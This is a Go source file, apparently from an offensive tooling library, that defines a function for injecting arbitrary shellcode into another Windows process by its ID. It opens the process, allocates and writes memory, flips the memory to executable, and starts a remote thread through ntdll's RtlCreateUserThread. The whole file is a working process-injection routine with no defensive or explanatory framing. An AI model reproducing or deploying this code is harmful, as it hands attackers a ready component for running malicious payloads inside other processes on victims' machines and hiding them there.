package shellcode

import (
	"unsafe"

	"golang.org/x/sys/windows"
)

func RtlCreateUserThread(shellcode []byte, pid int) error {
	kernel32 := windows.NewLazySystemDLL("kernel32.dll")
	ntdll := windows.NewLazySystemDLL("ntdll.dll")

	OpenProcess := kernel32.NewProc("OpenProcess")
	VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
	VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
	WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
	RtlCreateUserThread := ntdll.NewProc("RtlCreateUserThread")
	CloseHandle := kernel32.NewProc("CloseHandle")

	pHandle, _, err := OpenProcess.Call(windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION, 0, uintptr(uint32(pid)))

	if pHandle == 0 {
		return err
	}

	addr, _, err := VirtualAllocEx.Call(
		uintptr(pHandle),
		0,
		uintptr(len(shellcode)),
		windows.MEM_COMMIT|windows.MEM_RESERVE,
		windows.PAGE_READWRITE,
	)

	if addr == 0 {
		return err
	}

	WriteProcessMemory.Call(
		uintptr(pHandle),
		addr,
		(uintptr)(unsafe.Pointer(&shellcode[0])),
		uintptr(len(shellcode)),
	)

	oldProtect := windows.PAGE_READWRITE
	VirtualProtectEx.Call(
		uintptr(pHandle),
		addr,
		uintptr(len(shellcode)),
		windows.PAGE_EXECUTE_READ,
		uintptr(unsafe.Pointer(&oldProtect)),
	)

	var tHandle uintptr
	RtlCreateUserThread.Call(
		uintptr(pHandle),
		0,
		0,
		0,
		0,
		0,
		addr,
		0,
		uintptr(unsafe.Pointer(&tHandle)),
		0,
	)

	CloseHandle.Call(uintptr(uint32(pHandle)))

	return nil
}